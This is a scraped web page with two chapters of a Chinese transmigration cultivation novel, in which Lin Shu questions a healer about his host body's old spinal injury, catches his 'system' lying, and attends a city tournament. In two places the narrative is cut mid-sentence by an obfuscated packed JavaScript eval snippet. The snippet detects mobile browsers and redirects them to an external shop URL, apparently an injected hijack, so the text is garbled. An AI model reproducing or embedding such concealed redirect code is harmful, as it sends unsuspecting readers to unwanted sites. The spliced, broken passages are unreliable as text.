黄药师闻言神色一变,担忧地上下打量林枢:“少城主可是又觉身体不适?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087850|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林枢说得轻描淡写:“不是什么大事,只是今日比试过后腰背略有些酸痛,同上回那般泡一泡药浴就好。” 黄药师的神色却丝毫没有因为林枢的轻描淡写而放松,反而严肃道:“且让老夫先替少城主把一把脉。” 林枢伸出手让黄药师把脉。 把脉途中他还有空跟系统闲聊。 —黄药师这么紧张干嘛?我都说不是什么大事了。 【宿主,正常淬凡境四阶的修士不会像你这样动不动就这里酸那里痛。】 林枢赖得很。 —我又不是修士,这身修为也不是我修来的。 系统尖叫。 【宿主,你现在就是谢景阑!谢景阑就是你!】 【从你穿到谢景阑这具身体里开始,你就是有着淬凡境四阶修为的谢景阑!】 —行行行别喊别喊,我知道,我就那么一说,大不了我以后不这样了,没病装病确实不好,看黄药师这么担心我心里也有点愧疚。 系统听到这话才松口气。 【宿主明白就好。】 林枢垂眸。 他确实不需要再装病,两次莫名其妙的背部酸痛已经足够他打探出他想知道的信息。 黄药师的眉心紧蹙,上一次没查出少城主身体不适的原因已经让他尤为在意,幸而泡过药浴之后少城主说症状已经缓解,他这才心下稍安。 却没想到这才过去半月就又复发了,那就绝不是之前猜测的强行进阶所致。 两次不适少城主都提到了背部,他不得不怀疑是少城主早年间的旧伤…… 会客厅里很安静,茶水上的水汽氤氲升腾,轻轻袅袅向上飘散,时间一点点流逝,白色的雾气渐渐消失不见,清浅的茶水也变成了深色。 黄药师依旧在把脉。 林枢看着黄药师搭在他脉上的手指。 温和的灵力从指尖探出,犹如一根细丝,顺着经脉探入林枢体内。 黄药师这一次的检查比上一次更加细致,这缕灵力已经顺着他后背的脊骨一寸一寸来回检查了三次。 他现在可以确定,谢景阑的旧伤绝对伤在脊骨。 林枢梳理着思绪。 他两次找黄药师开药系统都废尽口舌阻止,说明系统确实担心他从黄药师这得到什么不该得到的信息。 与药师有关的,无非是伤或病,落到谢景阑身上,显然就是曾被黄药师提及的旧伤。 但系统阻止的手段又并不强硬……是因为即使被他知道了,也有把握给他一个合理的解释? 林枢想起他第一次问起谢景阑的旧伤时系统忽悠他的那句“应该是从娘胎里带的伤”。 要是黄药师明确说出谢景阑的旧伤是什么,系统又打算用个什么理由打发他呢? 林枢眼底快速闪过一丝兴味,开口道:“黄药师,可是我的身体有什么不妥?您为何检查了这么久?” 黄药师沉吟片刻,缓缓摇头,眉心的疙瘩仍拧着。 “就是尚未发现少城主的身体有何不妥,才更需注意。” 林枢不甚在意:“许是今日比试时不小心拉伤了,此次症状比上次轻,黄药师不必太过忧心,同上次那般开几贴药便好。” “万不可如此轻率,”黄药师语气一肃,“少城主五年前脊骨寸断,伤势之重世所罕见,幸而体质特殊才得以伤愈,但毕竟是未修炼时受的伤,极有可能落下隐患,近期少城主两次背部不适或许就是警示。” 林枢脸上的表情恰到好处地维持在“突然听到了一个未知又让人震惊的信息但必须假装自己其实知道”的镇定上。 在心里他已经快速冷声质问起了系统。 —系统,你不是说谢景阑的旧伤是从娘胎里带的吗?黄药师说的脊骨寸断又是怎么回事? 18.第 18 章 【宿主,系统的资料库中并没有谢景阑受伤的记录。】 林枢冷嗤。 —你不是能查吗?连这都查不到? 【宿主,谢景阑是五年前受的伤,彼时原文剧情线尚未开启。】 【对于原文剧情线开启之前的背景资料,系统的资料库只会记录下有可能影响未来剧情发展的重点事件,并不会事事都记载详尽。】 【宿主不必在意这件事,既然资料库中没有记录,就说明谢景阑的旧伤并不重要。】 【谢景阑的身体到底有没有因为旧伤留下隐患,宿主自己应该很清楚。】 【如果不是宿主故意假装腰酸背痛,黄药师也不会提起谢景阑的旧伤。】 这一句接一句的,果然是早有准备啊。 林枢微讽地想。 先是用“娘胎里带的伤”糊弄他,糊弄不下去了就开始往“谢景阑的旧伤并不重要”的方向引导,让他不去在意这件事。 是真不重要,还是这事暴露出来会对系统想要达成的目的不利? 林枢理清了思绪,故意啧了一声。 —我哪知道还会引出这么件事?行行行,不重要就不重要,你跟我说清楚不就行了么?我又不是不讲道理的人。 —我装病这事儿也过去了啊,以后咱俩谁也别说谁,行不行? 【好的宿主。】 打发完系统,林枢一脸歉意地对黄药师道:“是我未说清楚令黄药师担心了,我说的酸痛并不在脊骨处,只是背部肌肉牵引时略有些胀,这些年我也时时注意着旧伤,脊骨并无不适,黄药师可以放心。” 黄药师听闻这话蹙紧的眉心才微微松开:“当真?” 林枢点头:“一点小事,本不该叨扰黄药师,只是恰逢大比,想着每日比试不容有失,这才来请黄药师开药。” 黄药师徐徐松出口气,收回搭脉的手。 “事关身体,无小事之说,少城主谨慎是对的,我方才替少城主仔细检查了一番,并未发现不妥,既然上次泡药浴有效,那便再配两贴吧。” “多谢黄药师。”林枢道。 从黄药师处回来,林枢手里拿着两贴药和几包茶叶,回去之后舒舒服服地泡了个澡。 到了大比第二日,参与比试的人就只有昨天赢了的那两百人。 参与者虽然大大减少,但演武场上的人却丝毫不减,林枢坐在马车里,撩起车帘,远远就看见演武场上乌泱泱的人群。 今天来看比试的人貌似比昨天还多些。 不过想想也正常,第一天比试的人太多,大多数人的修为并不高,比试起来观赏性也一般。 到今天淘汰了一大批人后,留下来的多少都有点实力,这些人比试起来才有看头。 林枢收回视线,转而注意到街边的各色摊贩,突然开口:“停。” 驾车的马夫立即勒停灵马,询问道:“少城主有何吩咐?” “在这等我一下。”林枢丢下这句话,走下马车。 眼下这条路是前往演武场的必经之路,松溪城大比举办期间,这条路的两边几乎摆满了各色小摊,一眼望去琳琅满目,卖什么的都有。 林枢走到一个挂满斗笠的小摊前,随手拿起一顶斗笠,在手上掂了掂:“掌柜的,这个怎么卖?” 他一身玄色劲装,墨色长发束成利落的高马尾,长相出色,通身气质不凡,一看便知是个富家少爷。 小摊掌柜脸上堆起笑:“少侠手上那顶只是寻常斗笠,不值几个灵石,不妨看看这一顶。” 掌柜的从摊子最上方取下一顶黑色斗笠:“这顶斗笠的笠骨乃是采三百年才成材的墨星竹而制,竹蔑坚韧如铁,却又不失轻便,内衬与幕帘用的是雾云纱,舒适透气,最重要的是……少侠请看这儿。” 掌柜的转动斗笠,只见墨玉般的笠骨间似有灵光游走,浮现出淡淡的灵纹。 “与寻常斗笠不同,这一顶斗笠上刻有防护灵阵,平时有防风避雨之效,若是遇到危险,还可抵御部分灵力攻击,乃是一件货真价实的灵器,想来也只有此等物件方配得上少侠。” 林枢接过掌柜手中的斗笠看了看,将上方笠帘放下,轻薄的雾云纱遮挡效果恰到好处,正好处于能让人看不清他的面容却不影响他自己视物的程度。 他眉峰一挑:“多少灵石?我要了。” 掌柜的喜笑颜开,比出两根手指:“少侠,只需两枚中品灵石。” 林枢拿出灵石交给掌柜,带着新买来的斗笠回到马车。 系统冒出来问: 【宿主为什么要买这个?这斗笠上的防护灵阵只是一个低级灵阵,最多挡一挡淬凡境一阶修为的攻击,对宿主的比试帮助不大。】 林枢拿起斗笠戴上,又从储物袋中拿出一面铜镜,回答得言简意赅。 —为了帅。 【……】 林枢端详着镜子里的自己。 —你不觉得这样很像武侠小说里的江湖侠客吗? 【……宿主高兴就好。】 林枢勾了勾嘴角,悠悠开口。 —其实我买这个还有一个目的。 【什么目的?】 林枢放下笠帘。 雾云纱垂下,挡住了他的脸。 系统突然想起了林枢昨天说过的话,福至心灵。 【宿主是不想让人看见谢景阑的脸?】 林枢点头,下巴微抬。 —我倒要看看,是谢景阑这张脸的吸引力大,还是我的人格魅力吸引力大。 【……】 系统对这个想一出是一出的宿主有些绝望,懒得管林枢的花活,只叮嘱道: 【宿主不要忘了任务。】 —放心。 到了演武场,马夫将马车驾驶到今日抽签之处才停下。 刻着谢字家纹的华贵车辇甫一出现就吸引了不少人的注意,经过了昨天的比试,谢少城主已经是松溪城仅次于连忘川的第二热门人物。 此时连忘川未到,没人分摊热度,谢家马车赚足了眼球。 有些人昨天没来看比试,也有些人昨天光顾着看连忘川了,并未看到这位神秘的谢少城主长什么样子。 此时谢家马车一出现,这些人纷纷翘首引领,盯着马车看,都想见一见这位年纪轻轻就突破了淬凡境四阶的少年天才是何模样。 林枢戴着斗笠从马车上下来。 四周朝他看来的视线似是一顿,随即人群中就响起了叽叽喳喳的讨论声。 “此人是谁?谢少城主?” “谢家参加大比的人只有少城主,来抽签处的不是他还能是谁?” “少城主为何要戴斗笠遮住面容,莫非脸上有缺陷?” 围观人群中也有昨天见过林枢的,当即反驳。 “非也,昨日少城主未戴斗笠,我亲眼所见,少城主朗目疏眉,面如冠玉,端是一副好样貌,并无任何缺陷。” “既如此,少城主今日又为何要把脸挡住呢?” 没人能回答上来。 林枢听着这些讨论声,雾云纱下的嘴角轻勾,忽而又在心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091225|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉痛地叹了口气。 —有些东西错过了就是错过了。 系统没懂是什么让林枢突然发出这么句感慨。 【?】 林枢满心痛惜地补充。 —譬如少城主只限定营业一天的美貌。 【……】 够、了! 它都不知道林枢这种症状算不算自恋! 松溪城大比的规则自第二日开始会与第一日有所不同。 第一日的比试只要输一场就会直接淘汰,第二日开始则不会这么严格。 在第一场比试中输了的人,还有一次挑战的机会,可以在赢了的人中选一人挑战,若能胜过对方,就能取代对方成为待晋级的胜者方,若未能胜过对方,便会直接淘汰。 当然,赢了的人作为被挑战方,每人也最多被挑战一次,若是赢了,则直接锁定晋级名额,若是输了,则需要再去挑战其他赢了的人抢名额。 在这种规则下,有的人可能只需打一场,而有的人则可能需要打多场,譬如原文中的主角就打了两场。 两百人中就主角一个淬凡境一阶修为的,主角赢了第一场后,那些输了的人一个两个的都抢着来挑战主角,心里都觉得主角之前能越阶打败别人是运气好,碰到自己就没这么好的运气了。 结果也可以预见——有一个算一个,都被主角收拾了一顿。 但主角赢得也并不轻松,跟第一天那些花架子似的对手不同,这日的对手都是实打实有些实力的修士,修为最低也是淬凡境二阶后期,并不容易对付。 若不是主角从道神传承里得了足够的丹药与灵器,只怕还不一定能顺利赢下。 林枢环顾四周,没看到连忘川,问系统道: —咱们家亲亲主角怎么还没到?没出什么事儿吧? 系统听到这句熟悉的“咱们家亲亲主角”回归,竟然有种难言的感动与安心。 【宿主不用担心,主角能及时赶到。】 —那就行。 林枢这么问倒不是故意咒主角,而是在原文时间线里,主角昨夜过得并不安稳。 他参加松溪城大比并没有跟连家通气,又离奇失踪了一月,连家家主本就看他不顺眼,昨夜一回去就抓了主角来审问。 幸而主角提前联系了族里的长老,当着族中众多长老的面,连家家主再看不惯他也不能明着做什么,只能借着担心主角的名义盘问了一下主角这一月的行踪。 主角没有透露道神传承之事,只说意外掉入了一个秘境,得到了一株可以修复经脉的灵草,又在众多长老的见证下请来药修检查,证实他的经脉确实已经修复,这才将连家家主的口堵住。 没过多久,人群骚动,林枢抬眸一看,果然是主角到了。 连忘川毕竟名义上还是连家的少主,因此今日他是跟其他连家子弟一同过来的。 几辆连家的马车接连停下,连忘川从第一辆马车上下来,目不斜视,与其他连家人没有半分交流。 其他几人也并不乐意跟他待在一块儿,簇拥着连忘舟而站,一家人分成了渭泾分明的两伙。 林枢正要收回视线,却注意到连忘川的神色陡然一变,他顺着连忘川的视线看去,轻轻挑了下眉。 只见演武场入口处,几辆江家的马车缓缓驶来,而在打头的第一辆马车旁边,跟着骑着马的霍明屿。 此时霍明屿正弯腰听马车里的人说话,也不知听到了什么,眉梢微扬,透出一丝笑意。 能让霍明屿这般的江家人,除了江锦月不做他想。